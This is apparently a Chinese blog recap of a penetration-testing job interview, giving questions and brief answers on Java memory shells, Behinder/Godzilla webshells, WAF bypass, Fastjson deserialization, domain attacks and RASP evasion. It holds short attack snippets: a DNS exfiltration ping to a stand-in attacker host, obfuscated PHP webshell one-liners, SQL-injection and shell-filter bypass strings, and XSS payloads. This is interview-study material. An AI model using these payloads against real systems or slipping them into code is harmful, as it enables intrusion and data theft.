2025年渗透测试面试题总结- 某四字大厂面试复盘扩展 一面(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[某四字大厂面试复盘扩展 一面](#某四字大厂面试复盘扩展 一面)

一、Java内存马原理与查杀

二、冰蝎与哥斯拉原理对比(技术演进)

三、WAF绕过实战技巧(多漏洞视角)

四、Webshell免杀技术(多语言实践)

五、Fastjson反序列化漏洞(全链条解析)

六、红黑树与HashMap原理(数据结构深度)

七、内网渗透与域控攻防(实战进阶)

八、RASP原理与对抗(运行时防护)

九、PHP与Golang安全问题(语言特性缺陷)

某四字大厂面试复盘扩展 一面

复制代码
java内存马的原理和利用
如何查杀javan内存马,分别从工具和原理角度说说
冰蝎和哥斯拉了解吗,讲讲原理
有绕waf的实战经验吗,从各种漏洞的角度讲下
熟悉webshell免杀吗,讲下原理
做过其他免杀吗,比如结合cs和msfvenom的
谈谈fastjson反序列化原理和常见利用链吧
红黑树原理
hashmap原理
内网渗透、域控相关的实战经验
java反序列化cc链实战原理
sqlmap原理
Mysql为什么要用b+树
linux内核的漏洞
python的沙箱逃逸
python的flask模板注入
抽象语法树
rasp的概念和原理
rasp的对抗
php和golang语法本身的安全问题

一、Java内存马原理与查杀

  1. 内存驻留机制与动态注入
    • 核心原理 :利用Java反射机制动态注册Filter/Servlet,或通过Instrumentation API修改已加载类的字节码(如java.lang.instrument )。
    • 实战案例 :Tomcat中通过ApplicationFilterChain插入恶意Filter,拦截所有请求,内存中无文件落地。
    • 绕过检测 :使用Unicode类名或动态生成类名(如$Proxy123)规避静态特征扫描。
    • 查杀工具
      • Java-memshell-scanner:基于YARA规则扫描JVM进程内存。
      • BTrace脚本 :监控ClassLoader.defineClass 等敏感API调用。
    • 防御策略:启用SecurityManager限制敏感操作,配置RASP拦截动态类加载。
  2. 内存马类型细分
    • Agent型 :通过-javaagent参数植入,绕过Web容器限制。
    • JSP型 :利用JSP动态编译特性(如org.apache.jasper.servlet.JspServlet )。
    • Spring型:通过Controller注解或动态注册Bean注入恶意逻辑。
  3. 高级查杀技术
    • 堆内存分析 :使用Eclipse MAT搜索javax.servlet.Filter 实现类,对比容器默认配置。
    • 流量行为检测:监控异常HTTP响应(如固定AES密钥传输、长连接维持)。

二、冰蝎与哥斯拉原理对比(技术演进)

  1. 加密与协议层对抗
    • 冰蝎4.0:引入TLS双向认证,模拟合法HTTPS流量;支持WebSocket协议穿透代理。
    • 哥斯拉3.0:采用分片传输+HTTPS心跳包伪装,绕过基于流量大小的检测规则。
  2. 内存免杀技术
    • 冰蝎:通过JNI调用Native代码执行命令,绕过Java层监控。
    • 哥斯拉 :利用PHP的FFI扩展直接调用系统函数,规避system/exec关键字检测。
  3. 检测与溯源方案
    • 流量特征 :冰蝎默认User-Agent为Java/1.8,哥斯拉PHP版本含@eval($_POST[1]);特征。
    • 日志分析 :检查非常规文件访问(如.jsp访问.ico资源)。

三、WAF绕过实战技巧(多漏洞视角)

  1. SQL注入绕过
    • 分块传输 :利用Transfer-Encoding: chunked拆分UNION SELECT为多个数据包。
    • 空白符填充SEL/*!88888EC*/T 1绕过正则表达式检测。
    • 字符集混淆 :使用GBK宽字节注入(如%df%27转义单引号)。
  2. RCE绕过
    • 无回显利用 :通过DNS日志外带数据(如ping $(whoami).attacker.com )。
    • 环境变量拼接/bi${PATH:0:1}n/sh绕过字符串黑名单。
  3. XSS高级技巧
    • HTML5特性 :利用<details ontoggle=alert(1)>触发事件。
    • SVG标签<svg><script>alert(1)</script></svg>绕过传统标签过滤。

四、Webshell免杀技术(多语言实践)

  1. Java免杀
    • 反射调用Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")
    • 字节码加密:使用XOR加密Class文件,ClassLoader加载时动态解密。
  2. PHP免杀
    • 回调函数array_map("as"."sert", array($_POST["cmd"]))拼接函数名。
    • 异或加密$_="!%^"^"@*&"; $$_($_POST[1]);生成可变函数名。
  3. .NET免杀
    • 动态编译 :通过CodeDomProvider编译内存中的C#代码。
    • CLR Hook :劫持System.IO.File类方法,绕过文件读写检测。

五、Fastjson反序列化漏洞(全链条解析)

  1. 利用链构造
    • JNDI注入链JdbcRowSetImplsetDataSourceName → JNDI lookup触发RCE。
    • TemplatesImpl链 :利用_bytecodes字段加载恶意字节码,触发getOutputProperties方法。
  2. 绕过黑名单策略
    • 非公开类利用 :如org.apache.ibatis.parsing.PropertyParser 触发EL表达式。
    • AutoCloseable接口 :通过close()方法触发恶意逻辑。
  3. 防御方案
    • 启用SafeMode :禁用@type功能,彻底阻断反序列化漏洞。
    • 升级至2.0+版本:重构反序列化机制,默认关闭自动类型解析。

六、红黑树与HashMap原理(数据结构深度)

  1. 红黑树核心规则
    • 节点为红或黑,根节点为黑,叶子节点(NIL)为黑。
    • 红节点的子节点必须为黑,任意路径黑节点数相同。
  2. HashMap优化细节
    • 负载因子:默认0.75,平衡空间与时间效率。
    • 扩容机制 :当元素数超过容量*负载因子时,扩容为2倍并重新哈希。
  3. 线程安全问题
    • JDK7死循环:并发扩容导致链表成环(已修复)。
    • ConcurrentHashMap替代:分段锁(JDK7)或CAS+synchronized(JDK8)。

七、内网渗透与域控攻防(实战进阶)

  1. 横向移动技术
    • Pass-the-Hash:利用NTLM哈希直接认证,无需明文密码。
    • DCOM组件滥用:通过MMC20.Application远程执行命令。
  2. 域控攻击链
    • Kerberoasting:破解服务票据(TGS)获取服务账户密码。
    • AD CS攻击:伪造证书链获取域管权限(如ESC1漏洞)。
  3. 防御与检测
    • 监控DCSync操作 :配置SACL审计DS-Replication-Get-Changes事件。
    • 限制特权组权限 :避免普通用户加入Exchange Windows Permissions组。

八、RASP原理与对抗(运行时防护)

  1. 核心技术
    • Java Agent :通过premain方法注入,Hook敏感API(如ClassLoader)。
    • 动态污点跟踪:标记外部输入数据,跟踪其传播路径(如SQL查询拼接)。
  2. 绕过手段
    • JNI调用 :直接调用fork()execve()执行命令,绕过Java层Hook。
    • 内存操作 :通过Unsafe类修改RASP自身字节码,使其失效。
  3. 产品对比
    • OpenRASP:开源方案,支持Tomcat、Spring等环境。
    • 商业方案:Imperva、Prevailion提供AI驱动的行为分析。

九、PHP与Golang安全问题(语言特性缺陷)

  1. PHP漏洞场景
    • 反序列化漏洞__wakeup__destruct方法中的危险操作。
    • 文件包含include($_GET["file"])导致任意代码执行。
  2. Golang风险点
    • CGO组件:C语言交互引入的内存溢出风险。
    • 依赖管理 :第三方库未经验证可能导致供应链攻击(如恶意go.mod )。
  3. 安全编码建议
    • PHP :禁用eval(),使用htmlspecialchars防御XSS。
    • Golang :启用-race检测竞态条件,避免使用unsafe包。
相关推荐
Jackilina_Stone10 分钟前
【模型量化】GPTQ 与 AutoGPTQ
人工智能·python·gptq
一路向北North1 小时前
IDEA加载项目时依赖无法更新
java·ide·intellij-idea
橙色小博1 小时前
PyTorch中的各种损失函数的详细解析与通俗理解!
人工智能·pytorch·python·深度学习·神经网络·机器学习
小森77672 小时前
(三)机器学习---线性回归及其Python实现
人工智能·python·算法·机器学习·回归·线性回归
振鹏Dong2 小时前
超大规模数据场景(思路)——面试高频算法题目
算法·面试
uhakadotcom2 小时前
Python 与 ClickHouse Connect 集成:基础知识和实践
算法·面试·github
-XWB-2 小时前
【LLM】使用MySQL MCP Server让大模型轻松操作本地数据库
人工智能·python·自然语言处理
uhakadotcom2 小时前
Python 量化计算入门:基础库和实用案例
后端·算法·面试
小萌新上大分2 小时前
SpringCloudGateWay
java·开发语言·后端·springcloud·springgateway·cloudalibaba·gateway网关
写代码的小王吧2 小时前
【安全】Web渗透测试(全流程)_渗透测试学习流程图
linux·前端·网络·学习·安全·网络安全·ssh